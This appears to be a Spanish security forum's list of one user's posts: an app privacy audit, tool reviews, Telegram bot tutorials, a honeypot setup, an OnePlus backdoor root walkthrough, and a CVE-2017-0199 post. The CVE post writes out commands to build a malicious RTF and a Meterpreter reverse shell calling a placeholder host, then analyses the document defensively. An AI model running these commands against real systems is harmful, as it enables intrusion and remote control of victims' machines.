Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - blackdrake

Páginas: [1] 2 3 4
1
Hacking / Tu privacidad vibra con CLM Messenger!
« en: Julio 05, 2018, 02:36:17 am »

Hola a todos!

En el día de hoy os traigo junto a You are not allowed to view links. Register or Login[/b]]@You are not allowed to view links. Register or Login[/url] un post sobre el análisis de la versión NO oficial de MSN Messenger para Android disponible desde hace pocos días en la Play Store.

Antes de empezar, si acabas de enterarte del lanzamiento de MSN Messenger para Android, recomendamos la siguiente lectura: You are not allowed to view links. Register or Login


La idea de este post no es más que concienciar a todos de la importancia de nuestros datos y de que una mala práctica de implementación puede poner en peligro nuestra privacidad.

Sin nada más que añadir... ¡Comencemos!

A través de Twitter llegó a mí una aplicación que se hacía llamar "CLM - Chat Live Messenger" que decía reproducir aquella sensación nostalgia que nos hacía tener Messenger (MSN) de una manera muy similar a la aplicación del 2005.

No soy muy dado a instalar aplicaciones en mi dispositivo actual, sin antes echar un ojo... (Creo que todos aquí tenemos ese tipo de curiosidad con las cosas de vez en cuando ;) )

Empecé por algo sencillo: ¿Qué me proporciona Play Store?


¿Versao Beta? ¿500k descargas? Algo no me cuadraba mucho, pero cuando visité el sitio web que proporcionaba me quedó más claro...

A partir de este punto me decidí a descargarme la apk en mi ordenador y proceder a analizarla.

Una buena fuente de APKs sería Apkpure (You are not allowed to view links. Register or Login), así que la usaremos en este post.

En este punto una vez identificada nuestra aplicación a analizar podemos partir hacia muchas ramas, dos de ellas comunes podrían ser o centrarnos en la lógica que hay detrás de esta aplicación o simplemente observar como realiza las conexiones nuestro dispositivo con su servidor.

En este post vamos a tratar ambas, para la primera utilizaremos JADX (You are not allowed to view links. Register or Login) que nos echará una mano en decompilar el archivo .dex de la apk para así poder leer un poco la lógica de la misma. Y para la segunda usaremos algunas aplicaciones tanto en Android como en escritorio, que serán Packet Capture, Postman y cURL.

Pero procedamos primero a analizar la aplicación decompilando sus clases con JADX y leyendolas para ver que encontramos. Para esto me gusta iniciar la decompilación en consola e ir abriendo tranquilarmente en un editor como podría ser Sublime Text o VS Code dichas clases según se van decompilando.

Si recibimos algunos errores durante el proceso de decompilación, no les prestemos atención de momento, mientras no notemos nada extraño durante nuestra investigación, estos errores quedarán reflejados en los archivos que hayan sucedido. (Podéis echarle un ojo al README de Jadx para haceros una idea de como funciona.)
 

Una vez decompilé la aplicación miré los permisos que requería, no noté nada en especial que no se requeriera en una aplicación de mensajería. Hasta aquí, todo normal. Pero realmente sentía curiosidad de como era la lógica que usaba para conectarse con ese posible "servidor" que habíamos encontrado en Play Store.
 

Así que realicemos una búsqueda rápida del dominio "msnmessenger.xyz"




Nos encontramos con lo que podrían ser los endpoint de nuestra aplicación, un directorio /app/ y dos puertos, 3000 y 4000. De momento centrémonos en /app/, donde podemos ver nuestro querido "Index of" que deja poco a la imaginación enseñandonos archivos PHP y directorios de "images", curioso de mi cliqué en "images", ni si quiera cargó, olvidé por completo la cantidad de descargas que había obtenido esa aplicación, así que preferí utilizar cURL y cargar toda la web en un fichero para más tarde hacerme una idea de la cantidad de información con la que estaba trabajando.

Código: (bash) You are not allowed to view links. Register or Login
curl http://msnmessenger.xyz/app/pictures/ > clmdump.html
Tras filtrar solo el nombre de los archivos que se encontraban en ese directorio obtuve un archivo de en torno a 11MB, unos 421365 archivos de imagen a día de 7/06/18, en mi opinión, bastante crítico para tratarse solo de nombres de archivos y su extensión.
No contento con esto, decidí observar un poco más esa "TelaPrincipal" de nuestro análisis, observé que utilizaba uno de los puertos que descubrimos antes para comunicarse con la API de nuestra APK. Más tarde, en una actualización que realizó el desarrollador cambió este puerto por otra dirección IP distinta al dominio que utilizaba, debido a la alta demanda de este.
Sobre este puerto o IP, lanzaba distintas peticiones a su servidor, algunas de ellas podemos encontrarlas definidas en la lógica de la APK haciendo una búsqueda tras analizar como añadía el desarrollador su endpoint en el resto de clases.


En este punto tras ver lo tedioso que sería analizar todas las llamadas a la API y al observar que su servidor no disponía de un certificado, procedí a usar Packet Capture (You are not allowed to view links. Register or Login) en uno de mis dispositivos para analizar los paquetes enviados al servidor, esta aplicación muestra los paquetes a través de un proxy creado en una VPN que se crea en nuestro dispositivo, este método es muy útil ya que nos permite visualizar directamente el tráfico de paquetes sin necesidad de ser root.


Una vez llegados a este punto, observé que solo era necesario un id de usuario para obtener los mensajes que tenía en espera y que no habían sido almacenados en dispositivo, procedí a divulgarlo así como a avisar a su desarrollador para que lo arreglara lo antes posible tal y como me sugirió Marcos. Además de ello, podíamos obtener el MD5 de la contraseña de los usuarios si estos nos enviaban una petición de amistad...



Pensé que viendo el estado de la aplicación el correo que mostraba el desarrollador en Play Store no sería muy útil si quería que actuase rápidamente. Así que procedí a analizar como agregar un contacto en la aplicación.
Descubrí que se mandaba una petición de amistad y una vez aceptada, nuestra aplicación agregaba al contacto a nuestra lista de amigos con una llamada a la API teniendo en el body el "from" y el "to"; esto me hizo pensar que si mi id de usuario era tan elevada, la del administrador sería una baja. Efectivamente, la id número 2 era la del desarrollador, así que me agregué a su lista de contactos para hablarle y explicarle lo sucedido.
 

Os dejo una pequeña muestra de lo que pasó.



Llegados a este punto, me gustaría mencionar algunas "features" que tenía esta aplicación (aparte de sacar las contraseñas de los usuarios).
 

Obteniendo conversaciones a través del ID único de la conversación:


Obtención de todos los emails de los usuarios registrados a través del campo "busca":


Y la mejor, spamear a base de zumbidos, si, podrías replicar esta petición todas las veces que quisieras, provocando que el móvil de la víctima no dejase de vibrar. Para ello simplemente necesitabas ser su amigo (recordamos que podías aceptar la petición de otro) y tener su ID y Token, estos valores eran de fácil acceso a través del buscador o al acceder a una conversación con dicha persona.



Llegados a este punto, ¿Qué creéis que hizo el autor? Pues borrar la aplicación hasta ahí todo bien... Hasta que después de borrarla la subió con otro nombre apuntando a otro dominio y si, añadiendo más funcionalidades y aunque ésta ya no está disponible en la Play Store es 100% funcional si instaláis la APK.
 

Concretamente la nueva aplicación es la siguiente (You are not allowed to view links. Register or Login)


Decompilamos rápidamente el código para visualizar los cambios y el nuevo endpoint, en el propio MainActivity podemos observar las primeras llamadas.
 

En este caso, el nuevo dominio es: You are not allowed to view links. Register or Login además, al acceder a éste nos aparece el siguiente index.


De hecho, obtenemos lo mismo si accedemos a You are not allowed to view links. Register or Login



A simple vista parece que la cosa mejoraba, pero realmente no era así, ya que en lugar de desactivar el Directory Listing simplemente se limitó a subir el index a esos dos directorios, por lo que, las imágenes (entre otros datos) seguían siendo accesibles.


Además, con las nuevas funcionalidades, tenemos más directorios de imágenes, a las imágenes de perfil se suman las imágenes que se envían de forma privada vía conversación y vía grupos.
 

Por último, pese a que se nos negase el acceso a dichos directorios, seguría siendo viable el acceso a dichas imágenes, ya que el nombre de éstas es simplemente el ID de la imagen (con autoincrement) seguido de un guión bajo y el timestamp de subida, por lo que con una fuerza bruta sencilla deberíamos ser capaces de obtenerlas.
 

Además, todo esto sin contar que seguían disponibles una gran cantidad de ficheros PHP a nuestra disposición, algunos de ellos subían archivos, otros realizaban consultas a la BBDD, etc... No revisamos la seguridad de éstos en la nueva aplicación, pero no creo que haya mejorado mucho.
 

Mencionar que algunas vulnerabilidades como un posible File Upload y un SQLi fueron descubiertas durante el análisis de la aplicación, sin embargo,  y como es lógico éstas no fueron explotadas y obviamente, fueron reportadas. Dicho objetivo no es otro que informar de la importancia de nuestra privacidad y de los riegos que corremos en instalar aplicaciones de desconocidos y/o inseguras.
 

Por último, si habéis llegado hasta aquí, es buen momento para escuchar este audio que la propia aplicación nos facilita: You are not allowed to view links. Register or Login
 

Esperamos que os haya parecido interesante, y cualquier duda que tengáis no dudéis en preguntarla!

Un saludo.

2
Análisis y desarrollo de malwares / App.any.run - Malware Sandbox
« en: Junio 04, 2018, 11:58:05 am »

Hace unas semanas un servicio de sandbox de análisis de malware interactivo llamado Any.Run anunció que por fin estaba abierto al público. Actualmente, cualquier persona puede registrar una cuenta y analizar interactivamente un archivo (ejecutable) en particular en tiempo real.

Any.Run tiene su base en Rusia y fue fundado en 2016 por el investigador de seguridad Alexey Lapshin. Su equipo ahora consta de cinco desarrolladores que trabajan en la mejora de la plataforma.

Lo que hace que Any.Run sea diferente a otras herramientas de análisis (sandbox) es que es completamente interactivo. Eso significa que en lugar de cargar un archivo y esperar a que la aplicación te devuelva el análisis, con Any.Run puedes analizar un archivo y en tiempo real interactuar con la máquina (sandbox) mientras esta analiza el archivo.

Esto permite cargar programas que requieren interacción con el usuario, como por ejemplo documentos maliciosos que requieren que habilite contenido o macros.

Además, puede analizar una gran cantidad de tipos de archivos (todos los archivos ejecutables, archivos Java, documentos de Microsoft Office, archivos PDF, scripts, correos electrónicos, etc.) y los archivos sospechosos se pueden ejecutar en 3 tipos de entornos invitados preinstalados:

Clean – Sin software pre-instalado
Office – Software Instalado Microsoft Office
Complete – Software común(Microsoft Office, browsers, Skype, etc.)


Personalmente, la he probado y es una gran sandbox, proporciona mucha información, con una gran interfaz y manejo de ésta. Además, pronto introducirán planes de pago que la hacen aún más potente, sin duda una gran herramienta para los que analizamos malware.

Planes de Pago:


Web oficial: You are not allowed to view links. Register or Login
URL para Scannear: You are not allowed to view links. Register or Login

Un saludo.

3
Hacking / MobSF (Mobile Security Framework)
« en: Junio 04, 2018, 11:32:11 am »

MobSF es un entorno completo de análisis que incluye funcionalidad para la realización de pruebas tanto estáticas como dinámicas

La herramienta puede ser utilizada para analizar ejecutables de Android (APK), iOS (IPA) y Windows Mobile (APPX), como también código fuente empaquetado en archivos ZIP. Dentro del alcance de esta publicación, nos centraremos en el análisis estático de un archivo APK.

Bastará con dejar corriendo el servicio, y acceder a él desde su aplicación web, a continuación, subir el fichero y automáticamente empezará a extraerlo y a analizarlo.


MobSF os dará gran cantidad de información, desde información general de la aplicación, pasando por permisos no necesarios/extraños hasta vulnerabilidades.



Además, permite realizar análisis dinámico a la propia aplicación:


Podéis descargarlo y obtener más información desde el repositorio oficial: You are not allowed to view links. Register or Login

Un saludo.

4
Hacking / CrossHead - A HTTP Header Scanner
« en: Abril 01, 2018, 07:56:52 am »
Buenas!

He hecho un script que analiza las cabeceras de un host, las parsea e imprime el resultado de éste, de esta forma de un simple vistazo puedes saber si falta alguna cabecera de seguridad o si hay alguna cabecera "extraña".

El script no tiene mucho misterio, así que no creo que haga falta explicar demasiado.

Link del Script: You are not allowed to view links. Register or Login

Las opciones disponibles son las siguientes:



Para la opción del reporte avanzado hace falta una API KEY, en el código podéis ver la URL y podéis solicitarla (es gratis), esto generará un fichero llamado report.md con los datos obtenidos. Además, cada análisis que hagáis, se guardará en el fichero de log Fingerprint.md

Los resultados obtenidos son los siguientes:



Otro ejemplo:


Resultados del Advanced Report (además de lo anterior se genera el md ya mencionado)






Sé que le quedan muchas cabeceras por añadir, y que muchas cosas no son las ideales (como la forma de detectar CMS), es solo un prototipo que hice un día aburrido, tengo otra versión bastante más avanzada pero no acabada, por lo que no la publicaré aún :)

5
Python / Desarrollando BOTs para Telegram - Parte 2
« en: Abril 01, 2018, 07:09:48 am »

Buenas!

Bienvenidos a la segunda parte de desarrollos de BOTs para Telegram en Python, si no habéis leído la parte uno os lo dejo aquí, pues es obligatoria: You are not allowed to view links. Register or Login

Dicho esto, comezamos!

Es importante mencionar que yo he escogido Python, pero podéis elegir cualquier lenguaje de programación, hay librerías prácticamente en cualquier lenguaje y si no, siempre podéis atacar contra la propia API de telegram, aunque sea más tedioso.

1) Antes de nada, debemos elegir la libreria que vamos a utilizar, yo he utilizado estas dos, y ambas tienen sus pros y sus contras, así que os dejo que trasteéis con ellas y elijáis la que prefiráis (luego veremos ejemplos en cada una de ellas).

En mi caso son pyTelegramBotAPI (You are not allowed to view links. Register or Login) y python-telegram-bot (You are not allowed to view links. Register or Login)

Para su instalación sobra con seguir el readme correspondiente, por lo general sobra con hacer un pip install o un git clone y su correspondiente python setup.


Interactuando con el BOT

A continuación os dejo dos fragmentos de código con los que podréis interactuar con vuestro BOT en Telegram para cada una de las librerías mencionadas anteriormente.

pyTelegramBotAPI
Código: (python) You are not allowed to view links. Register or Login
import telebot
from telebot import types

bot = telebot.TeleBot("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") #Introducir el token que nos devolvió BOTFather

@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "Hello World Underc0de!")

bot.polling()

El siguiente código hace que el bot permanezca a la espera y si recibe el comando /start o el comando /help entrará en la función send_welcome respondiendo a nuestro mensaje (reply_to message) Hello World Underc0de!


Ahora que ya podemos interactuar con nuestro bot, vamos a establecer un nivel de loggeo, para monitorizar sus actividades.

Para ello simplemente debemos añadir las siguientes líneas.

Código: (python) You are not allowed to view links. Register or Login
import telebot
from telebot import types
import logging #Importamos loggin

#Establecemos el logeo
logging.basicConfig(filename='log.log',filemode='a',format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',level=logging.INFO) #Seteado nivel a Informativo, hay varios niveles
logger = telebot.logger
telebot.logger.setLevel(logging.DEBUG) # Debug Mensajes en Consola


bot = telebot.TeleBot("XXXXXXXXXXXXXXXXXXXXXX")

@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "Hello World Underc0de!")

bot.polling()

Con esto, cada vez que el bot recibe un mensaje, lo logueará tanto en el fichero como por consola:


Como se puede ver en la imagen anterior, nos devuelve campos muy interesantes, tales como la persona que ha escrito al bot, el comando enviado, y la respuesta enviada por el bot.

python-telegram-bot
De manera similar a la anterior libreria configuramos el bot.

Código: (python) You are not allowed to view links. Register or Login
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import logging
import telegram

#Establecemos el logeo
logging.basicConfig(filename='log.log',filemode='a',format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',level=logging.INFO)
logger = logging.getLogger(__name__)

#Funcion start
def start(bot, update):
    update.message.reply_text('Hi! Underc0de')
    logger.info("Msg de %s - %s",bot,update) #Loggeamos la informacion


#Funcion main
def main():
    updater = Updater("XXXXXXXXXXXXXXXXXXXXXXXX") #NUESTRO TOKEN

    dp = updater.dispatcher

    #Comandos contemplados
    dp.add_handler(CommandHandler("start", start))

    #Si no tenemos el comando contemplado, lo devolvemos por pantalla
    dp.add_handler(MessageHandler(Filters.text, echo))

    #Loggeamos errores
    dp.add_error_handler(error)

    #Inciamos el bot
    updater.start_polling()

    #Ejecuta el bot hasta que presionemos Ctrl + C o el proceso reciba SIGINT,  SIGTERM o SIGABRT
    updater.idle()


if __name__ == '__main__':
    main()

Como se puede observar, el bot es parecido y la forma de funcionar es la misma.

Ejemplo de funcionamiento:

Ejemplo de loggeo:


¿Y lo bueno de todo esto?

Es que realmente todo corre bajo python, por lo que podemos hacer todo lo que queramos y simplemente que el bot nos devuelva el resultado de la operación vía telegram. Un ejemplo es el siguiente, consulta del buscador del blog a través del bot :)


Un saludo y nos vemos en la próxima :D

6
Python / Desarrollando BOTs para Telegram - Parte 1
« en: Febrero 01, 2018, 05:17:37 pm »

¿Qué es un bot?

A mitad del 2015 Telegram incorporó los bots en su aplicación. Básicamente son pequeños programas que encuentran en servidores y podemos acudir a ellos en cualquier momento para conseguir cualquier tipo de funcionalidad.

O como el propio Telegram dice:

  • Recibe notificaciones y noticias personalizadas. Un bot puede actuar como un periódico inteligente, enviándole contenido relevante tan pronto como se publique.
  • Integrar con otros servicios. Un robot puede enriquecer los chats de Telegram con contenido de servicios externos.
  • Acepte pagos de los usuarios de Telegram. Un bot puede ofrecer servicios pagados o trabajar como una tienda virtual.
  • Crea herramientas personalizadas Un bot puede proporcionarle alertas, pronósticos del tiempo, traducciones, formato u otros servicios.
  • Compila juegos de un solo jugador y multijugador. Un robot puede ofrecer experiencias ricas en HTML5, desde simples arcades y acertijos hasta tiradores 3D y juegos de estrategia en tiempo real.

  • Construye servicios sociales. Un bot podría conectar a las personas que buscan interlocutores basados ​​en intereses comunes o proximidad.

Conclusión, puedes hacer prácticamente cualquier otra cosa!

Más información sobre los BOTs: You are not allowed to view links. Register or Login

¿Quién puede hacer un bot?

Cualquiera, siempre y cuando tenga los conocimientos suficientes de programación y se anime a hacerlo. Telegram tiene una extensa documentación que nos explica cómo podemos crearlos.


Tipos de bots
Hay dos tipos de bots en Telegram: los bots normales y los llamados "Inline".

Para utilizar los bots normales tenemos que abrir un chat con ellos o incluirlos en el grupo donde queramos utilizarlo.  Pudiendo utilizarlo todas las veces que queramos.

Los Inline Bots están disponible desde principios del año 2016 y la diferencia es en que no necesitamos incluirlos en ninguna grupo para usarlos. Los podemos utilizar en cualquier momento, simplemente tendremos que añadir una arroba con su nombre a la hora de escribir un nuevo mensaje para poder empezar a utilizarlos. Los resultados que nos ofrezcan aparecerán en un menú flotante dentro de la misma conversación y podremos elegir el resultado que más nos guste para mostrar al resto de miembros de dicha conversación.

Un claro ejemplo de los bot inline es el siguiente:


Creación del BOT (Introducción)

Telegram creó hace un par de años una API para la creación de bots con la cual se pueden crear la conexión de manera muy simple, ya que todo se hace a través de HTTP.

Lo primero que debemos hacer es crear un chat con @BotFather e iniciarlo.

Una vez hecho hecho, escribiremos /newbot para comenzar el proceso de creación de nuestro bot.


Acto seguido, nos preguntará es el nombre de nuestro bot.


En segundo lugar nos pedirá el alias, (este debe terminar en bot).


Por último, BotFather nos devolverá el token para utilizar nuestro BOT mediante la API.


Podemos configurar muchas más cosas para nuestro bot, aquí os dejo una lista pero no es lo único que hay, para más información os recomiendo leer la documentación oficial.

/setname - cambia el nombre de tu bot.

/setdescription - cambia la descripción del bot, un texto corto de hasta 512 caracteres, que describe tu bot. Los usuarios verán este texto al comienzo de la conversación con el bot, titulado '¿Qué puede hacer este robot?'.

/setabouttext - cambia la información sobre el bot, un texto aún más corto de hasta 120 caracteres. Los usuarios verán este texto en la página de perfil del robot. Cuando comparten tu bot con alguien, este texto se envía junto con el enlace.

/setuserpic - cambia las imágenes de perfil del bot. Siempre es bueno ponerle cara a un nombre.

/setcommands - cambia la lista de comandos soportados por tu bot. Los usuarios verán estos comandos como sugerencias cuando escriban / en el chat con su bot. Cada comando tiene un nombre (debe comenzar con una barra inclinada '/', caracteres alfanuméricos y subrayados, no más de 32 caracteres, sin mayúsculas y minúsculas), parámetros y una descripción de texto. Los usuarios verán la lista de comandos cada vez que escriban '/' en una conversación con su bot.

/deletebot - borra tu bot y libera su nombre de usuario.

/setinline: activa el modo en línea para tu bot.

/setinlinegeo: solicita datos de ubicación para proporcionar resultados en línea basados ​​en la ubicación.

/setjoingroups - alterna si tu bot se puede agregar a grupos o no. Cualquier bot debe ser capaz de procesar mensajes privados, pero si tu bot no fue diseñado para trabajar en grupos, puedes inhabilitarlo.

/setprivacy: establece qué mensajes recibirá tu bot cuando se agreguen a un grupo. Con el modo de privacidad desactivado, el bot recibirá todos los mensajes. Recomendamos dejar el modo de privacidad habilitado.

Para que un BOT pueda enviar mensajes a un usuario, éste deberá haberlo iniciado anteriormente, para ello, accedemos a nuestro bot buscándolo por su nombre (con @ delante) o bien utilizando el link que BotFather nos ha proporcionado (You are not allowed to view links. Register or Login)



Finalmente nuestro bot luce así.


Y hasta aquí la primera parte, en unos días publicaré la segunda parte donde aprenderemos a interactuar con nuestro BOT.

Un saludo.


7
Hacking / CVE-2017-0199 - Análisis y Generación
« en: Enero 28, 2018, 06:42:55 am »
Hola a todos!

Hoy os traigo un aporte sobre el CVE-2017-0199, ésta es una vulnerabilidad de ejecución de código arbitrario en Microsoft Office que se manifiesta debido a un manejo incorrecto de los archivos de formato de texto enriquecido (RTF).


Por lo general se ha detectado el ataques en mensajes de correo electrónico donde la víctima abre un documento específicamente diseñado para explotar la vulnerabilidad. Es importante mencionar que esta vulnerabilidad continúa siendo explotada activamente.



Ataque


En este caso empezaremos por el principio, la creación del documento, se puede crear de forma manual, pero a día de hoy existen generadores para ahorrar tiempo, por lo que en este caso lo utilizaremos así, yo he usado este You are not allowed to view links. Register or Login aunque podéis utilizar el que vosotros queráis.

Primero generamos el RTF.

Código: (bash) You are not allowed to view links. Register or Login
python cve-2017-0199_toolkit.py -M gen -t RTF -w underc0de.rtf -u http://TUIP/logo.doc

Generamos el meterpreter (OPCIONAL)

Código: (bash) You are not allowed to view links. Register or Login
msfvenom -p windows/meterpreter/reverse_tcp LHOST=TUIP LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST TUIP; run"

Iniciamos la tool en modo exploit
Código: (bash) You are not allowed to view links. Register or Login
python cve-2017-0199_toolkit.py -M exp -t RTF -e http://TUIP/shell.exe -l /tmp/shell.exe

El gráfico actual de ataque sería el siguiente:


Aunque también podemos utilizarlo en modo remoto de la siguiente forma.


Al abrir nuestro documento nos aparecerá el siguiente error, si la víctima pulsa "Si" nuestro servidor recibirá la petición y recibiremos nuestra sesión de meterpreter





Defensa


Ahora que ya tenemos nuestro documento, es hora del análisis, para ello utilizaremos una tool desarrollada en python llamada rtfdump, utilizaremos esta herramienta para sacar la URL verdadera y llegar a la conclusión de si el fichero RTF es seguro o no.

En primer lugar abriremos nuestro documento a través de la rtfdump.
Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py  underc0de.rtf

Como nos devuelve mucha información, cerraremos el cerco buscando únicamente los objetos OLE 1.0 que tiene nuestro documento.
Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -f O underc0de.rtf
Obtenemos un único objeto con el índice 10.



Hacemos una búsqueda más exhaustiva de nuestro índice.

Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -s 10  underc0de.rtf | more

En este volcado hexadecimal / ascii, podemos ver que el texto comienza con 01050000 02000000, lo que significa que es un objeto OLE 1.0. Además detectamos el string d0cf11e0, suponiendo que contiene un archivo OLE.

Con la opición -H, convertiremos los caracteres hexadecimales a binario:

Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -s 10  -H underc0de.rtf | more

Obtenemos el string OLE2Link, a la que se ha hecho referencia. Con la opción -i, podemos obtener más información sobre el objeto incrustado:

Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -s 10 -H -i underc0de.rtf

Ahora que estamos seguros de que es un fichero OLE incrustado utilizamos -E para extraerlo.

Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -s 10 -H -E underc0de.rtf

Para analizar este fichero, utilizaremos oledump (You are not allowed to view links. Register or Login), oledump necesita el modulo olefile, por lo que si no lo tenéis, deberéis instalarlo antes (pip install -U olefile)

Utilizando -d y un pipeline, le pasaremos el fichero extraído a oledump.

Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -s 10 -H -E -d underc0de.rtf | oledump.py

Obtenemos 3 resultados, vamos a echarle un vistazo al primero mediante el siguiente comando.

Código: (bash) You are not allowed to view links. Register or Login
python rtfdump.py -s 10 -H -E -d underc0de.rtf | python oledump.py -s 1
Y finalmente obtenemos la URL del documento infectado.


Espero que os haya gustado,

Un saludo.

8
Hacking / [TOOL] Underc0de Dorker
« en: Noviembre 14, 2017, 04:45:36 pm »
Hola a todos!

El otro día encontré una tool que tenía en VB perdida por el disco duro (You are not allowed to view links. Register or Login), así que la importé a C# y la terminé, básicamente es un asistente para generar dorks, tengo un par de ideas en mente, así que cuando tenga tiempo las desarrollaré y subiré la versión finalizada :D

Mientras tanto, las críticas constructivas e ideas son bien recibidas :)

Aquí os dejo el enlace a Mega y a VirusTotal para los desconfiados.


Mega: You are not allowed to view links. Register or Login
VirusTotal: You are not allowed to view links. Register or Login

Un saludo,
Blackdrake

9
Hacking / Rootear OnePlus a través del backdoor de fábrica
« en: Noviembre 14, 2017, 04:27:30 pm »

En estas últimas horas un desarrollador (You are not allowed to view links. Register or Login) ha descubierto que una de las aplicaciones instaladas por defecto en los teléfonos OnePlus puede actuar como backdoor y es capaz de obtener permisos de root en los OnePlus 3, 3T y 5.

Según el usuario de Twitter Elliot Alderson, la aplicación, incluida en todos los teléfonos de la compañía con OxygenOS en su interior, no solo es capaz de diagnosticar problemas en el GPS, verificar si el teléfono está rooteado o realizar pruebas automatizadas, sino que también puede obtener permisos de root en el dispositivo si se ejecuta una actividad concreta.

Tal y como se puede comprobar en uno de sus tweets: You are not allowed to view links. Register or Login

Dicha herramienta recibe el nombre de EngineerMode y se puede visualizar si activamos la opción "Mostrar Aplicaciones del Sistema" en nuestro teléfono:


Acto seguido, la buscamos por su nombre pudiendo acceder a más información:


Llegados a este punto y habiendo confirmado que tenemos la aplicación, vamos a iniciar el rooteo del dispositivo, para ello, descargamos adb y activamos el modo depuración en el teléfono:



Si queremos ejecutar la aplicación basta con ejecutar el siguiente comando vía adb shell:

Código: You are not allowed to view links. Register or Login
adb shell am start http://com.android .engineeringmode/.EngineeringMode


Además y para verificar que funciona el backdoor, comprobamos los permisos actuales del dispositivo:


Para rootear el dispositivo debemos invocar el Indent mediante el siguiente comando:

Código: You are not allowed to view links. Register or Login
adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"

Si, la contraseña es angela y es que, la ficción supera a la realidad en algunos casos y Mr. Robot lo acaba de demostrar (You are not allowed to view links. Register or Login)

En estos momentos se reiniciará la shell, desconectamos el cable, lo volvemos a conectar y accedemos de nuevo al dispositivo vía adb shell, comprobamos el usuario y... ROOT!


Nota: Pese a tener acceso root vía shell no he conseguido que las aplicaciones reconozcan dichos privilegios:



Nota2: Podéis deshabilitar el backdoor de la siguiente manera:

1) Modificando los permisos de la app:


2) Desactivándola:

Código: You are not allowed to view links. Register or Login
pm disable com.android.engineeringmode
3) Desinstalándola:

Código: You are not allowed to view links. Register or Login
pm uninstall -k --user 0 com.android.engineeringmode

Si alguien quiere obtener más información, recomiendo que lea el hilo oficial: You are not allowed to view links. Register or Login

Un saludo.

Blackdrake


10
Seguridad web y en servidores / Desplegando Honeypot (Kippo)
« en: Octubre 06, 2017, 06:28:17 pm »
Antes de comenzar, debemos empezar por lo básico, ¿qué es un honeypot?  La función de un honeypot consiste en atraer y analizar los ataques recibidos. Es importante tener claro, que nuestro sistema simulará una vulnerabilidad (o varias) para obtener información del atacante y obviamente, lo que buscamos, es, que para el atacante esto sea indetectable.

Como es lógico, hay bastantes honeypots que son open source, además, los hay que integran varios servicios y algunos que no, por ejemplo, uno puede emular sólo SSH y otro SSH y TELNET etc...

Entendido este concepto, quiero dejar claro que en cada entrada, voy a explicar paso por paso como desplegar un honeypot (open source)  de los muchos que hay disponibles en internet.

Si queréis obtener más información sobre los honeypots, os recomiendo leer nuestra entrada en hacking de 0: You are not allowed to view links. Register or Login


¿Qué es Kippo?

Kippo es un sistema que ha sido desarrollado utilizando Python y Twisted, una potente librería. Kippo permite emular servicios de Secure Shell (SSH).

Desplegando Kippo

Puesto a que Kippo emulará SSH, lo primero que tenemos que hacer, será cambiar de puerto nuestro SSH, ya que, lo suyo, es que Kippo apunte al 22 (puerto por defecto), donde gran cantidad de bots atacarán, sin si quiera detectar, el real.

Para ello, editaremos el fichero de configuración alojado en /etc/ssh/sshd_config


Yo he elegido el Puerto 55, pero vosotros podéis escoger otro.



Reiniciamos el servicio SSH para que comience a escuchar en el puerto que queremos.


Instalamos las dependencias necesarias para ejecutar Kippo:


Código: (bash) You are not allowed to view links. Register or Login
apt-get install python-dev openssl python-openssl python-pyasn1 python-twisted
Crearemos un usuario sin privilegios para ejecutar Kippo:


Código: (bash) You are not allowed to view links. Register or Login
useradd -d /home/kippo -s /bin/bash -m kippo
Descargamos kippo del repositorio oficial de github:


En mi caso, voy a comenzar a configurarlo desde el fichero de "backup" que nos viene por defecto, para ello, renombramos kippo.cfg.dist por kippo.cfg


A continuación, explico los valores más importantes que debéis tener en cuenta a la hora de configurar kippo:


  • ssh_addr: Es el segmento de red en la que kippo escuchará conexiones entrantes siendo 0.0.0.0 todas.
  • ssh_port: Puerto a la escucha, por defecto es 2222, pero puesto a que el puerto del SSH es 22, escogí este para aumentar los ataques recibidos.
  • hostname: El nombre del host para cuando el atacante consiga acceder. Es recomendable que sea un nombre algo creíble.
  • download_path: Directorio donde se guardarán todos los ficheros descargados por el atacante. Siendo por defecto el directorio dl.
  • Ejemplo real de ficheros almacenados en el directorio:

  • filesystem_file: Una de las partes más interesantes a la hora de engañar al atacante, ya que esta opción se encarga de definir el sistema de ficheros entero (directorios, permisos...). Podemos editarlo manualmente a nuestro gusto desde el script que hay en utils/fsctl.py
  • Creando un directorio en el sistema de ficheros:
    Este será nuestro árbol de directorios, el objetivo es modificar los directorios/ficheros de tal forma parezca un sistema real. Para ello podemos crear todos los ficheros y/o directorios que queramos.


  • data_path:  Directorio donde debe estar alojado el fichero "usersdb.txt" donde están definidos los usuario y sus credenciales de acceso. Como es lógico, si queremos que accedan, los usuarios deben ser comunes y sus credenciales sencillas.  Por defecto, está en el directorio data.


  • txtcmds_path: Directorio donde deben estar alojados los programas/scripts que podrá ejecutar el atacante desde la supuesta shell. El directorio por defecto es txtcmds.


  • ssh_version_string: Información que devolverá el honeypot cuando realicen peticiones sobre el puerto a la escucha (ejemplo, nmap).

Hay muchas opciones interesantes, como interact_enabled e interact_port  que permiten acceder a las sesiones del atacante en tiempo real. Por defecto está desactivado.


Además, podemos guardar todos los logs en nuestra base de datos, la configuración se encuentra en el mismo fichero:


Si ya tenemos configurado nuestro kippo, pasamos a editar el fichero start.sh dejándolo de esta manera:


Código: (bash) You are not allowed to view links. Register or Login
authbind --deep twistd -y kippo.tac -l log/kippo.log --pidfile kippo.pid
Puesto que queremos instalar la versión web de Kippo (Kippo Graph), tenemos que instalar las siguientes dependencias:


Código: (bash) You are not allowed to view links. Register or Login
apt-get install libapache2-mod-php5 php5-mysql php5-gd php5-curl
